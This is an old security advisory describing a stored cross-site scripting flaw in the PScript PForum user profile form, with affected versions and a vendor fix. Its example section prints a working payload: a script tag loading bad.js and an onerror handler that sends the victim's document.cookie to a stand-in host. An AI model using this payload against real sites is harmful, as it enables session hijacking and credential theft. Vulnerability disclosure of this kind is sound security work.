PScript PForum User Profile HTML Injection Vulnerability

Bugtraq ID:	10954
Class:	Input Validation Error
CVE:
Remote:	Yes
Local:	No
Published:	Aug 16 2004 12:00AM
Updated:	Aug 16 2004 12:00AM
Credit:	Discovery of this vulnerability is credited to Christoph Jeschke <[email protected]>.
Vulnerable:	PScript PForum 1.25 PScript PForum 1.24
Not Vulnerable:	PScript PForum 1.26

PScript PForum User Profile HTML Injection Vulnerability

PScript PForum is reported prone to a HTML injection vulnerability. The vulnerability presents itself due to a lack of sufficient sanitization performed on data submitted through input fields of the PForum user profile form.

This could be exploited to steal cookie-based authentication credentials. It is also possible to use this type of vulnerability as an attack vector to exploit latent browser security flaws.

PScript PForum User Profile HTML Injection Vulnerability

There is no exploit required. The following example is available:

Create a Javascript file and save it as bad.js (your domain name is in this
case example.com). The file contains the following code:

// bad.js
function b()
{
location.href='example.org/compute_stolen_data.ext?'+document.cookie;
}

Edit your profile and enter the following line into the IRC Server or AIM
ID Input Box. The string have to be shorter then 100 characters.

// Input Box (without line break)
"><script src=http://example.com/bad.js></script>
<img height=0 width=0 src=foo onerror=b(); >

PScript PForum User Profile HTML Injection Vulnerability

Solution:
The vendor has released an update to address this issue:


PScript PForum 1.24

• PScript pforum_1.26.zip
  http://www.pscript.de/link/onelink.php?showid=6

PScript PForum 1.25

• PScript pforum_1.26.zip
  http://www.pscript.de/link/onelink.php?showid=6

PScript PForum User Profile HTML Injection Vulnerability

References:

• PForum (PScript)
  
• pscript.de PFORUM XSS Vulnerability (Christoph Jeschke )